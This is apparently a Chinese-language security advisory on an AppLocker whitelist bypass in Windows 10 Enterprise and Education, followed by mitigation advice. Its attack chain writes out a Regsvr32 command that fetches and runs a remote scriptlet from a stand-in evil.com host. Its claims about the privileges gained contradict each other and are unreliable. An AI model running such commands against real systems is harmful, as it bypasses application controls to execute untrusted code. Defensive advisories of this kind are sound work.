Win10 AppLocker 安全機制曝漏洞：攻擊者可繞過白名單執行任意程式

漏洞概況

安全研究人員發現 Win10 企業版/教育版的 AppLocker（應用程式控制原則）存在繞過漏洞。攻擊者無需管理員權限，僅透過修改登錄檔，利用 Regsvr32.exe 指向遠端腳本（.sct 檔），即可繞過白名單限制，取得系統完整權限執行任意程式碼。

攻擊鏈

1. 修改登錄檔相關機碼（無需高權限）。
2. 呼叫 Regsvr32 /u /n /i:https://evil.com/script.sct scrobj.dll。
3. Regsvr32 下載並執行遠端腳本，繞過 AppLocker 白名單檢查。
4. 攻擊者取得當前使用者權限（若為管理員則為系統權限）。

緩解措施（官方修補前）

• 部署防火牆規則封鎖 Regsvr32.exe 的網路存取（輸出連線）。
• 啟用 AppLocker 規則明確拒絕 Regsvr32.exe 執行（若環境允許）。
• 限制標準使用者修改登錄檔敏感區域（透過群組原則）。
• 升級至已修補此漏洞的累積更新版本（KB 編號請參考微軟安全公告）。

影響範圍

僅影響啟用 AppLocker 原則的企業/教育版環境，家用版預設未啟用不受影響。